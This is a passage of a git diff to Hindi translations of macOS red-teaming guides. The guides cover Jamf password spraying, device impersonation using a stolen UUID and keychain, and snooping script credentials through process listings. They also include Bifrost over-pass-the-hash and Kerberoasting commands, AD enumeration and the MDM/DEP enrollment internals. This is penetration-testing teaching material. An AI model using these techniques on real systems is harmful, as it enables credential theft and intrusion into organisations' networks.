उनके पास **स्व-नामांकन सक्षम** है। यदि उनके पास है, तो यह **पहुँच के लिए क्रेडेंशियल्स** मांग सकता है। +जैसे पृष्ठ पर जाएँ `https://.jamfcloud.com/enroll/` यह देखने के लिए कि क्या उनके पास **स्व-नामांकन सक्षम** है। यदि उनके पास है, तो यह **पहुँच के लिए क्रेडेंशियल्स** मांग सकता है। आप पासवर्ड स्प्रेइंग हमले को करने के लिए स्क्रिप्ट [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) का उपयोग कर सकते हैं। @@ -52,7 +53,7 @@ JAMF **कस्टम स्क्रिप्ट** (sysadmin द्वार #### JAMF उपकरण अधिग्रहण **JSS** (Jamf सॉफ़्टवेयर सर्वर) **URL** जो **`jamf`** उपयोग करेगा, **`/Library/Preferences/com.jamfsoftware.jamf.plist`** में स्थित है।\ -यह फ़ाइल मूल रूप से URL को समाहित करती है: +यह फ़ाइल मूल रूप से URL को शामिल करती है: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist @@ -60,7 +61,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist is_virtual_machine jss_url -https://halbornasd.jamfcloud.com/ +https://subdomain-company.jamfcloud.com/ last_management_framework_change_id 4 [...] @@ -74,12 +75,12 @@ sudo jamf policy -id 0 ``` #### JAMF धोखाधड़ी -एक डिवाइस और JMF के बीच **धोखाधड़ी करने** के लिए आपको आवश्यकता है: +एक डिवाइस और JMF के बीच **धोखाधड़ी करने के लिए** आपको आवश्यकता है: - डिवाइस का **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` - **JAMF कीचेन**: `/Library/Application\ Support/Jamf/JAMF.keychain` जिसमें डिवाइस का प्रमाणपत्र होता है -इस जानकारी के साथ, **एक VM बनाएं** जिसमें **चुराया हुआ** हार्डवेयर **UUID** हो और **SIP अक्षम** हो, **JAMF कीचेन** को ड्रॉप करें, Jamf **एजेंट** को **हुक** करें और इसकी जानकारी चुराएं। +इस जानकारी के साथ, **एक VM बनाएं** जिसमें **चुराया गया** हार्डवेयर **UUID** हो और **SIP अक्षम** हो, **JAMF कीचेन** डालें, **जाम्फ़ एजेंट** को **हुक** करें और इसकी जानकारी चुराएं। #### रहस्यों की चोरी @@ -87,11 +88,11 @@ sudo jamf policy -id 0 आप `/Library/Application Support/Jamf/tmp/` स्थान की निगरानी भी कर सकते हैं जहाँ **कस्टम स्क्रिप्ट** हो सकती हैं जिन्हें व्यवस्थापक Jamf के माध्यम से निष्पादित करना चाहते हैं क्योंकि ये **यहाँ रखी जाती हैं, निष्पादित की जाती हैं और हटा दी जाती हैं**। ये स्क्रिप्ट **प्रमाण पत्र** शामिल कर सकती हैं। -हालांकि, **प्रमाण पत्र** इन स्क्रिप्टों में **पैरामीटर** के रूप में पास किए जा सकते हैं, इसलिए आपको `ps aux | grep -i jamf` की निगरानी करने की आवश्यकता होगी (बिना रूट बने)। +हालांकि, **प्रमाण पत्र** इन स्क्रिप्टों में **पैरामीटर** के रूप में पास किए जा सकते हैं, इसलिए आपको `ps aux | grep -i jamf` की निगरानी करनी होगी (बिना रूट बने)। स्क्रिप्ट [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) नए फ़ाइलों को जोड़े जाने और नए प्रक्रिया तर्कों के लिए सुन सकती है। -### macOS रिमोट एक्सेस +### macOS दूरस्थ पहुंच और **MacOS** "विशेष" **नेटवर्क** **प्रोटोकॉल** के बारे में: @@ -101,7 +102,7 @@ sudo jamf policy -id 0 ## सक्रिय निर्देशिका -कुछ अवसरों पर आप पाएंगे कि **MacOS कंप्यूटर एक AD से जुड़ा है**। इस परिदृश्य में आपको सक्रिय निर्देशिका को **गणना** करने का प्रयास करना चाहिए जैसा कि आप इसके लिए उपयोग करते हैं। निम्नलिखित पृष्ठों में कुछ **सहायता** खोजें: +कुछ अवसरों पर आप पाएंगे कि **MacOS कंप्यूटर एक AD से जुड़ा हुआ है**। इस परिदृश्य में, आपको सक्रिय निर्देशिका को **सूचीबद्ध** करने का प्रयास करना चाहिए जैसा कि आप इसके लिए उपयोग करते हैं। निम्नलिखित पृष्ठों में कुछ **सहायता** प्राप्त करें: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -119,13 +120,13 @@ sudo jamf policy -id 0 ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` -इसके अलावा, MacOS के लिए कुछ उपकरण तैयार किए गए हैं जो AD को स्वचालित रूप से सूचीबद्ध करते हैं और kerberos के साथ काम करते हैं: +इसके अलावा, MacOS के लिए कुछ उपकरण तैयार किए गए हैं जो स्वचालित रूप से AD को सूचीबद्ध करते हैं और kerberos के साथ काम करते हैं: - [**Machound**](https://github.com/XMCyber/MacHound): MacHound एक Bloodhound ऑडिटिंग उपकरण का विस्तार है जो MacOS होस्ट पर Active Directory संबंधों को एकत्रित और ग्रहण करने की अनुमति देता है। -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost एक Objective-C प्रोजेक्ट है जिसे macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। इस प्रोजेक्ट का लक्ष्य macOS उपकरणों पर Kerberos के चारों ओर बेहतर सुरक्षा परीक्षण सक्षम करना है, जो कि किसी अन्य ढांचे या पैकेज की आवश्यकता के बिना स्वदेशी APIs का उपयोग करता है। +- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost एक Objective-C प्रोजेक्ट है जिसे macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। इस प्रोजेक्ट का लक्ष्य macOS उपकरणों पर Kerberos के चारों ओर बेहतर सुरक्षा परीक्षण सक्षम करना है, जो कि किसी अन्य ढांचे या पैकेज की आवश्यकता के बिना मूल APIs का उपयोग करता है। - [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory सूचीकरण करने के लिए Automation (JXA) के लिए JavaScript उपकरण। -### डोमेन जानकारी +### Domain Information ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` @@ -133,18 +134,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil MacOS उपयोगकर्ताओं के तीन प्रकार हैं: -- **स्थानीय उपयोगकर्ता** — स्थानीय OpenDirectory सेवा द्वारा प्रबंधित, वे किसी भी तरह से Active Directory से जुड़े नहीं हैं। -- **नेटवर्क उपयोगकर्ता** — अस्थायी Active Directory उपयोगकर्ता जिन्हें प्रमाणीकरण के लिए DC सर्वर से कनेक्शन की आवश्यकता होती है। -- **मोबाइल उपयोगकर्ता** — Active Directory उपयोगकर्ता जिनके पास अपनी क्रेडेंशियल्स और फ़ाइलों का स्थानीय बैकअप होता है। +- **Local Users** — स्थानीय OpenDirectory सेवा द्वारा प्रबंधित, ये Active Directory से किसी भी तरह से जुड़े नहीं होते हैं। +- **Network Users** — अस्थायी Active Directory उपयोगकर्ता जिन्हें प्रमाणीकरण के लिए DC सर्वर से कनेक्शन की आवश्यकता होती है। +- **Mobile Users** — Active Directory उपयोगकर्ता जिनके पास अपनी क्रेडेंशियल्स और फ़ाइलों का स्थानीय बैकअप होता है। उपयोगकर्ताओं और समूहों के बारे में स्थानीय जानकारी फ़ोल्डर _/var/db/dslocal/nodes/Default._ में संग्रहीत होती है।\ उदाहरण के लिए, _mark_ नाम के उपयोगकर्ता की जानकारी _/var/db/dslocal/nodes/Default/users/mark.plist_ में संग्रहीत होती है और समूह _admin_ की जानकारी _/var/db/dslocal/nodes/Default/groups/admin.plist_ में होती है। HasSession और AdminTo किनारों का उपयोग करने के अलावा, **MacHound Bloodhound डेटाबेस में तीन नए किनारे जोड़ता है**: -- **CanSSH** - इकाई को होस्ट पर SSH करने की अनुमति है -- **CanVNC** - इकाई को होस्ट पर VNC करने की अनुमति है -- **CanAE** - इकाई को होस्ट पर AppleEvent स्क्रिप्ट निष्पादित करने की अनुमति है +- **CanSSH** - इकाई जिसे होस्ट पर SSH करने की अनुमति है +- **CanVNC** - इकाई जिसे होस्ट पर VNC करने की अनुमति है +- **CanAE** - इकाई जिसे होस्ट पर AppleEvent स्क्रिप्ट निष्पादित करने की अनुमति है ```bash #User enumeration dscl . ls /Users @@ -174,7 +175,7 @@ dsconfigad -show ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` -**`Computer$`** पासवर्ड को सिस्टम कीचेन के अंदर एक्सेस करना संभव है। +यह **`Computer$`** पासवर्ड को सिस्टम कीचेन के अंदर एक्सेस करना संभव है। ### ओवर-पास-दी-हैश @@ -183,25 +184,26 @@ bifrost --action askhash --username [name] --password [password] --domain [domai bifrost --action asktgt --username [user] --domain [domain.com] \ --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` -एक बार TGT इकट्ठा हो जाने के बाद, इसे वर्तमान सत्र में इंजेक्ट करना संभव है: +एक बार जब TGT इकट्ठा कर लिया जाता है, तो इसे वर्तमान सत्र में इंजेक्ट करना संभव है: ```bash bifrost --action asktgt --username test_lab_admin \ --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ --enctype aes256 --domain test.lab.local ``` -### केर्बेरॉस्टिंग +### Kerberoasting ```bash bifrost --action asktgs --spn [service] --domain [domain.com] \ --username [user] --hash [hash] --enctype [enctype] ``` -प्राप्त सेवा टिकटों के साथ अन्य कंप्यूटरों में शेयरों तक पहुँचने की कोशिश करना संभव है: +प्राप्त सेवा टिकटों के साथ, अन्य कंप्यूटरों में शेयरों तक पहुँचने की कोशिश करना संभव है: ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` ## Keychain तक पहुँचना -Keychain में संवेदनशील जानकारी हो सकती है जो बिना प्रॉम्प्ट उत्पन्न किए पहुँचने पर एक रेड टीम अभ्यास को आगे बढ़ाने में मदद कर सकती है: +Keychain में संवेदनशील जानकारी हो सकती है जो यदि बिना प्रॉम्प्ट उत्पन्न किए पहुँचाई जाए तो एक रेड टीम अभ्यास को आगे बढ़ाने में मदद कर सकती है: + {{#ref}} macos-keychain.md @@ -209,13 +211,13 @@ macos-keychain.md ## बाहरी सेवाएँ -MacOS रेड टीमिंग सामान्य Windows रेड टीमिंग से अलग है क्योंकि आमतौर पर **MacOS कई बाहरी प्लेटफार्मों के साथ सीधे एकीकृत होता है**। MacOS की एक सामान्य कॉन्फ़िगरेशन है कि **OneLogin समन्वयित क्रेडेंशियल्स का उपयोग करके कंप्यूटर तक पहुँच प्राप्त करना, और OneLogin के माध्यम से कई बाहरी सेवाओं (जैसे github, aws...) तक पहुँच प्राप्त करना**। +MacOS रेड टीमिंग एक सामान्य Windows रेड टीमिंग से अलग है क्योंकि आमतौर पर **MacOS कई बाहरी प्लेटफार्मों के साथ सीधे एकीकृत होता है**। MacOS की एक सामान्य कॉन्फ़िगरेशन है **OneLogin समन्वयित क्रेडेंशियल्स का उपयोग करके कंप्यूटर तक पहुँच प्राप्त करना, और OneLogin के माध्यम से कई बाहरी सेवाओं (जैसे github, aws...) तक पहुँच प्राप्त करना**। ## विविध रेड टीम तकनीकें ### सफारी -जब सफारी में एक फ़ाइल डाउनलोड की जाती है, यदि यह एक "सुरक्षित" फ़ाइल है, तो यह **स्वतः खोली जाएगी**। तो उदाहरण के लिए, यदि आप **एक ज़िप डाउनलोड करते हैं**, तो यह स्वचालित रूप से अनज़िप हो जाएगी: +जब सफारी में एक फ़ाइल डाउनलोड की जाती है, यदि यह एक "सुरक्षित" फ़ाइल है, तो इसे **स्वतः खोला जाएगा**। तो उदाहरण के लिए, यदि आप **एक ज़िप डाउनलोड करते हैं**, तो इसे स्वचालित रूप से अनज़िप किया जाएगा:
diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index f82686d96..4a6c83487 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -9,7 +9,7 @@ ## मूल बातें -### **MDM (मोबाइल डिवाइस प्रबंधन) का अवलोकन** +### **MDM (मोबाइल डिवाइस प्रबंधन) अवलोकन** [मोबाइल डिवाइस प्रबंधन](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) का उपयोग विभिन्न अंतिम उपयोगकर्ता उपकरणों जैसे स्मार्टफोन, लैपटॉप और टैबलेट की निगरानी के लिए किया जाता है। विशेष रूप से Apple के प्लेटफार्मों (iOS, macOS, tvOS) के लिए, इसमें विशेष सुविधाओं, APIs और प्रथाओं का एक सेट शामिल है। MDM का संचालन एक संगत MDM सर्वर पर निर्भर करता है, जो या तो व्यावसायिक रूप से उपलब्ध है या ओपन-सोर्स है, और इसे [MDM प्रोटोकॉल](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) का समर्थन करना चाहिए। मुख्य बिंदुओं में शामिल हैं: @@ -19,9 +19,9 @@ ### **DEP (डिवाइस नामांकन कार्यक्रम) की मूल बातें** -Apple द्वारा प्रदान किया गया [डिवाइस नामांकन कार्यक्रम](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) मोबाइल डिवाइस प्रबंधन (MDM) के एकीकरण को सरल बनाता है, जिससे iOS, macOS और tvOS उपकरणों के लिए शून्य-टच कॉन्फ़िगरेशन की सुविधा मिलती है। DEP नामांकन प्रक्रिया को स्वचालित करता है, जिससे उपकरण बॉक्स से बाहर निकलते ही कार्यशील हो जाते हैं, जिसमें न्यूनतम उपयोगकर्ता या प्रशासनिक हस्तक्षेप होता है। आवश्यक पहलुओं में शामिल हैं: +Apple द्वारा प्रदान किया गया [डिवाइस नामांकन कार्यक्रम](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) मोबाइल डिवाइस प्रबंधन (MDM) के एकीकरण को सरल बनाता है, जिससे iOS, macOS और tvOS उपकरणों के लिए शून्य-टच कॉन्फ़िगरेशन की सुविधा मिलती है। DEP नामांकन प्रक्रिया को स्वचालित करता है, जिससे उपकरण बॉक्स से बाहर सीधे कार्यशील हो जाते हैं, जिसमें न्यूनतम उपयोगकर्ता या प्रशासनिक हस्तक्षेप होता है। आवश्यक पहलुओं में शामिल हैं: -- उपकरणों को प्रारंभिक सक्रियण पर पूर्व-निर्धारित MDM सर्वर के साथ स्वायत्त रूप से पंजीकरण करने की अनुमति देता है। +- उपकरणों को प्रारंभिक सक्रियण पर पूर्व-परिभाषित MDM सर्वर के साथ स्वायत्त रूप से पंजीकरण करने की अनुमति देता है। - मुख्य रूप से नए उपकरणों के लिए फायदेमंद, लेकिन पुनः कॉन्फ़िगरेशन कर रहे उपकरणों के लिए भी लागू होता है। - एक सरल सेटअप की सुविधा देता है, जिससे उपकरणों को जल्दी से संगठनात्मक उपयोग के लिए तैयार किया जा सके। @@ -35,7 +35,7 @@ Apple द्वारा प्रदान किया गया [डिवा ### मूल बातें SCEP (सादा प्रमाणपत्र नामांकन प्रोटोकॉल) क्या है? - एक अपेक्षाकृत पुराना प्रोटोकॉल, जो TLS और HTTPS के व्यापक होने से पहले बनाया गया था। -- ग्राहकों को एक मानकीकृत तरीका प्रदान करता है **प्रमाणपत्र हस्ताक्षर अनुरोध** (CSR) भेजने के लिए ताकि उन्हें एक प्रमाणपत्र दिया जा सके। ग्राहक सर्वर से एक हस्ताक्षरित प्रमाणपत्र देने के लिए कहेगा। +- ग्राहकों को एक मानकीकृत तरीके से **प्रमाणपत्र हस्ताक्षर अनुरोध** (CSR) भेजने की अनुमति देता है ताकि उन्हें एक प्रमाणपत्र दिया जा सके। ग्राहक सर्वर से एक हस्ताक्षरित प्रमाणपत्र देने के लिए कहेगा। ### कॉन्फ़िगरेशन प्रोफाइल (जिसे मोबाइलकॉन्फ़िग्स भी कहा जाता है) क्या हैं? @@ -67,15 +67,15 @@ Apple द्वारा प्रदान किया गया [डिवा - RESTful - Apple से MDM सर्वर पर उपकरण रिकॉर्ड को समन्वयित करें -- MDM सर्वर से Apple को "DEP प्रोफाइल" समन्वयित करें (बाद में Apple द्वारा उपकरण पर भेजा गया) -- एक DEP “प्रोफाइल” में शामिल है: +- MDM सर्वर से Apple के लिए “DEP प्रोफाइल” को समन्वयित करें (बाद में उपकरण को Apple द्वारा वितरित किया गया) +- एक DEP “प्रोफाइल” में शामिल हैं: - MDM विक्रेता सर्वर URL - सर्वर URL के लिए अतिरिक्त विश्वसनीय प्रमाणपत्र (वैकल्पिक पिनिंग) -- अतिरिक्त सेटिंग्स (जैसे सेटअप सहायक में कौन से स्क्रीन छोड़ने हैं) +- अतिरिक्त सेटिंग्स (जैसे, सेटअप सहायक में कौन से स्क्रीन छोड़ने हैं) ## सीरियल नंबर -2010 के बाद निर्मित Apple उपकरणों में सामान्यतः **12-चर अल्फ़ान्यूमेरिक** सीरियल नंबर होते हैं, जिनमें **पहले तीन अंक निर्माण स्थान** का प्रतिनिधित्व करते हैं, अगले **दो** निर्माण के **वर्ष** और **सप्ताह** को दर्शाते हैं, अगले **तीन** अंक एक **विशिष्ट** **पहचानकर्ता** प्रदान करते हैं, और **अंतिम** **चार** अंक **मॉडल नंबर** का प्रतिनिधित्व करते हैं। +2010 के बाद निर्मित Apple उपकरणों में सामान्यतः **12-चर अल्फ़ान्यूमेरिक** सीरियल नंबर होते हैं, जिनमें **पहले तीन अंक निर्माण स्थान** का प्रतिनिधित्व करते हैं, इसके बाद के **दो** **वर्ष** और **सप्ताह** का संकेत देते हैं, अगले **तीन** अंक एक **विशिष्ट** **पहचानकर्ता** प्रदान करते हैं, और **अंतिम** **चार** अंक **मॉडल नंबर** का प्रतिनिधित्व करते हैं। {{#ref}} macos-serial-number.md @@ -84,8 +84,8 @@ macos-serial-number.md ## नामांकन और प्रबंधन के लिए कदम 1. उपकरण रिकॉर्ड निर्माण (पुनर्विक्रेता, Apple): नए उपकरण का रिकॉर्ड बनाया जाता है -2. उपकरण रिकॉर्ड असाइनमेंट (ग्राहक): उपकरण को एक MDM सर्वर के लिए असाइन किया जाता है -3. उपकरण रिकॉर्ड समन्वय (MDM विक्रेता): MDM उपकरण रिकॉर्ड को समन्वयित करता है और DEP प्रोफाइल को Apple पर भेजता है +2. उपकरण रिकॉर्ड असाइनमेंट (ग्राहक): उपकरण को एक MDM सर्वर को सौंपा जाता है +3. उपकरण रिकॉर्ड समन्वय (MDM विक्रेता): MDM उपकरण रिकॉर्ड को समन्वयित करता है और DEP प्रोफाइल को Apple पर धकेलता है 4. DEP चेक-इन (उपकरण): उपकरण को उसका DEP प्रोफाइल मिलता है 5. प्रोफाइल पुनर्प्राप्ति (उपकरण) 6. प्रोफाइल स्थापना (उपकरण) a. MDM, SCEP और रूट CA पेलोड सहित @@ -97,17 +97,17 @@ macos-serial-number.md ### कदम 4: DEP चेक-इन - सक्रियण रिकॉर्ड प्राप्त करना -यह प्रक्रिया तब होती है जब एक **उपयोगकर्ता पहली बार Mac बूट करता है** (या एक पूर्ण मिटाने के बाद) +यह प्रक्रिया तब होती है जब एक **उपयोगकर्ता पहली बार Mac बूट करता है** (या एक पूर्ण वाइप के बाद) ![](<../../../images/image (1044).png>) या जब `sudo profiles show -type enrollment` निष्पादित किया जाता है - **यह निर्धारित करें कि उपकरण DEP सक्षम है या नहीं** -- सक्रियण रिकॉर्ड **DEP "प्रोफाइल"** का आंतरिक नाम है +- सक्रियण रिकॉर्ड **DEP “प्रोफाइल”** के लिए आंतरिक नाम है - जैसे ही उपकरण इंटरनेट से जुड़ता है, यह शुरू होता है - **`CPFetchActivationRecord`** द्वारा संचालित -- **`cloudconfigurationd`** द्वारा XPC के माध्यम से लागू किया गया। **"सेटअप सहायक"** (जब उपकरण पहली बार बूट होता है) या **`profiles`** कमांड इस डेमन से सक्रियण रिकॉर्ड प्राप्त करने के लिए संपर्क करेगा। +- **`cloudconfigurationd`** द्वारा XPC के माध्यम से लागू किया गया। **"सेटअप सहायक"** (जब उपकरण पहली बार बूट होता है) या **`profiles`** कमांड इस डेमन से सक्रियण रिकॉर्ड प्राप्त करने के लिए **संपर्क करेगा**। - LaunchDaemon (हमेशा रूट के रूप में चलता है) यह **`MCTeslaConfigurationFetcher`** द्वारा सक्रियण रिकॉर्ड प्राप्त करने के लिए कुछ कदम उठाता है। यह प्रक्रिया **Absinthe** नामक एन्क्रिप्शन का उपयोग करती है @@ -120,7 +120,7 @@ macos-serial-number.md 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 4. सत्र स्थापित करें (**`NACKeyEstablishment`**) 5. अनुरोध करें -1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) पर डेटा भेजते हुए `{ "action": "RequestProfileConfiguration", "sn": "" }` +1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) को डेटा `{ "action": "RequestProfileConfiguration", "sn": "" }` भेजते हुए 2. JSON पेलोड को Absinthe (**`NACSign`**) का उपयोग करके एन्क्रिप्ट किया गया है 3. सभी अनुरोध HTTPs पर, अंतर्निहित रूट प्रमाणपत्रों का उपयोग किया जाता है @@ -136,8 +136,8 @@ macos-serial-number.md ![](<../../../images/image (444).png>) - **DEP प्रोफाइल में प्रदान किए गए URL** पर अनुरोध भेजा गया। -- यदि प्रदान किया गया हो तो **एंकर प्रमाणपत्रों** का उपयोग **विश्वास का मूल्यांकन** करने के लिए किया जाता है। -- अनुस्मारक: DEP प्रोफाइल की **anchor_certs** संपत्ति +- **एंकर प्रमाणपत्रों** का उपयोग **विश्वास का मूल्यांकन** करने के लिए किया जाता है यदि प्रदान किया गया हो। +- अनुस्मारक: **DEP प्रोफाइल की anchor_certs** प्रॉपर्टी - **अनुरोध एक साधारण .plist** है जिसमें उपकरण की पहचान होती है - उदाहरण: **UDID, OS संस्करण**। - CMS-हस्ताक्षरित, DER-कोडित @@ -154,36 +154,36 @@ macos-serial-number.md - XPC के माध्यम से mdmclient द्वारा लागू किया गया - LaunchDaemon (रूट के रूप में) या LaunchAgent (उपयोगकर्ता के रूप में), संदर्भ के आधार पर - कॉन्फ़िगरेशन प्रोफाइल में स्थापित करने के लिए कई पेलोड होते हैं -- फ्रेमवर्क में प्रोफाइल स्थापित करने के लिए एक प्लगइन-आधारित आर्किटेक्चर है +- ढांचा प्रोफाइल स्थापित करने के लिए प्लगइन-आधारित आर्किटेक्चर है - प्रत्येक पेलोड प्रकार एक प्लगइन से संबंधित होता है -- यह XPC (फ्रेमवर्क में) या क्लासिक कोकोआ (ManagedClient.app में) हो सकता है +- यह XPC (ढांचे में) या क्लासिक कोको (ManagedClient.app में) हो सकता है - उदाहरण: -- प्रमाणपत्र पेलोड्स CertificateService.xpc का उपयोग करते हैं +- प्रमाणपत्र पेलोड प्रमाणपत्र सेवा का उपयोग करते हैं। -आम तौर पर, एक MDM विक्रेता द्वारा प्रदान किया गया **सक्रियण प्रोफाइल** निम्नलिखित पेलोड्स को **शामिल करेगा**: +आमतौर पर, एक MDM विक्रेता द्वारा प्रदान किया गया **सक्रियण प्रोफाइल** निम्नलिखित पेलोड शामिल करेगा: - `com.apple.mdm`: उपकरण को MDM में **नामांकित** करने के लिए - `com.apple.security.scep`: उपकरण को एक **क्लाइंट प्रमाणपत्र** सुरक्षित रूप से प्रदान करने के लिए। - `com.apple.security.pem`: उपकरण के सिस्टम कीचेन में **विश्वसनीय CA प्रमाणपत्र** स्थापित करने के लिए। -- MDM पेलोड स्थापित करना दस्तावेज़ में **MDM चेक-इन के बराबर है** -- पेलोड में **मुख्य गुण** होते हैं: +- MDM पेलोड स्थापित करना दस्तावेज़ में **MDM चेक-इन के बराबर** है +- पेलोड में **मुख्य प्रॉपर्टीज** शामिल हैं: - - MDM चेक-इन URL (**`CheckInURL`**) - MDM आदेश पोलिंग URL (**`ServerURL`**) + इसे ट्रिगर करने के लिए APNs विषय - MDM पेलोड स्थापित करने के लिए, **`CheckInURL`** पर अनुरोध भेजा जाता है - **`mdmclient`** में लागू किया गया -- MDM पेलोड अन्य पेलोड्स पर निर्भर कर सकता है +- MDM पेलोड अन्य पेलोड पर निर्भर कर सकता है - **विशिष्ट प्रमाणपत्रों** के लिए अनुरोधों को पिन करने की अनुमति देता है: -- संपत्ति: **`CheckInURLPinningCertificateUUIDs`** -- संपत्ति: **`ServerURLPinningCertificateUUIDs`** -- PEM पेलोड के माध्यम से वितरित -- उपकरण को एक पहचान प्रमाणपत्र के साथ विशेषता देने की अनुमति देता है: -- संपत्ति: IdentityCertificateUUID -- SCEP पेलोड के माध्यम से वितरित +- प्रॉपर्टी: **`CheckInURLPinningCertificateUUIDs`** +- प्रॉपर्टी: **`ServerURLPinningCertificateUUIDs`** +- PEM पेलोड के माध्यम से वितरित किया गया +- उपकरण को एक पहचान प्रमाणपत्र के साथ श्रेणीबद्ध करने की अनुमति देता है: +- प्रॉपर्टी: IdentityCertificateUUID +- SCEP पेलोड के माध्यम से वितरित किया गया ### **कदम 7: MDM आदेशों के लिए सुनना** -- MDM चेक-इन पूरा होने के बाद, विक्रेता **APNs का उपयोग करके पुश सूचनाएँ जारी कर सकता है** -- प्राप्ति पर, इसे **`mdmclient`** द्वारा संभाला जाता है +- MDM चेक-इन पूरा होने के बाद, विक्रेता **APNs का उपयोग करके पुश सूचनाएं जारी कर सकता है** +- प्राप्ति पर, **`mdmclient`** द्वारा संभाला जाता है - MDM आदेशों के लिए पोलिंग करने के लिए, **ServerURL** पर अनुरोध भेजा जाता है - पहले से स्थापित MDM पेलोड का उपयोग करता है: - **`ServerURLPinningCertificateUUIDs`** अनुरोध के लिए पिनिंग के लिए @@ -193,7 +193,7 @@ macos-serial-number.md ### अन्य संगठनों में उपकरणों का नामांकन -जैसा कि पहले टिप्पणी की गई थी, एक उपकरण को एक संगठन में नामांकित करने के लिए **केवल उस संगठन का एक सीरियल नंबर आवश्यक है**। एक बार उपकरण नामांकित हो जाने पर, कई संगठन नए उपकरण पर संवेदनशील डेटा स्थापित करेंगे: प्रमाणपत्र, अनुप्रयोग, WiFi पासवर्ड, VPN कॉन्फ़िगरेशन [और इसी तरह](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)।\ +जैसा कि पहले टिप्पणी की गई थी, एक उपकरण को एक संगठन में नामांकित करने के लिए **केवल उस संगठन का एक सीरियल नंबर आवश्यक है**। एक बार जब उपकरण नामांकित हो जाता है, तो कई संगठन नए उपकरण पर संवेदनशील डेटा स्थापित करेंगे: प्रमाणपत्र, अनुप्रयोग, WiFi पासवर्ड, VPN कॉन्फ़िगरेशन [और इसी तरह](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)।\ इसलिए, यदि नामांकन प्रक्रिया को सही तरीके से सुरक्षित नहीं किया गया है, तो यह हमलावरों के लिए एक खतरनाक प्रवेश बिंदु हो सकता है: {{#ref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 15b8d2953..12bc17440 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -4,44 +4,50 @@ ## बुनियादी MacOS -यदि आप macOS से परिचित नहीं हैं, तो आपको macOS के मूल बातें सीखना शुरू करना चाहिए: +यदि आप macOS से परिचित नहीं हैं, तो आपको macOS के बुनियादी ज्ञान को सीखना शुरू करना चाहिए: - विशेष macOS **फाइलें और अनुमतियाँ:** + {{#ref}} macos-files-folders-and-binaries/ {{#endref}} - सामान्य macOS **उपयोगकर्ता** + {{#ref}} macos-users.md {{#endref}} - **AppleFS** + {{#ref}} macos-applefs.md {{#endref}} - **kernel** की **संरचना** + {{#ref}} mac-os-architecture/ {{#endref}} - सामान्य macOS n**etwork सेवाएँ और प्रोटोकॉल** + {{#ref}} macos-protocols.md {{#endref}} - **ओपनसोर्स** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) -- `tar.gz` डाउनलोड करने के लिए एक URL को इस प्रकार बदलें: [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) को [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) में। +- `tar.gz` डाउनलोड करने के लिए, एक URL जैसे [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) को [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) में बदलें ### MacOS MDM -कंपनियों में **macOS** सिस्टम उच्च संभावना के साथ **MDM के साथ प्रबंधित** होंगे। इसलिए, एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि **यह कैसे काम करता है**: +कंपनियों में **macOS** सिस्टम **MDM** के साथ प्रबंधित होने की उच्च संभावना है। इसलिए, एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि **यह कैसे काम करता है**: + {{#ref}} ../macos-red-teaming/macos-mdm/ @@ -49,6 +55,7 @@ macos-protocols.md ### MacOS - निरीक्षण, डिबगिंग और फज़िंग + {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} @@ -66,14 +73,15 @@ macos-security-protections/ यदि एक **प्रक्रिया जो रूट के रूप में चल रही है** एक फ़ाइल लिखती है जिसे एक उपयोगकर्ता द्वारा नियंत्रित किया जा सकता है, तो उपयोगकर्ता इसका दुरुपयोग करके **विशेषाधिकार बढ़ा सकता है**।\ यह निम्नलिखित स्थितियों में हो सकता है: -- फ़ाइल का उपयोग पहले से एक उपयोगकर्ता द्वारा किया गया था (उपयोगकर्ता द्वारा स्वामित्व) -- 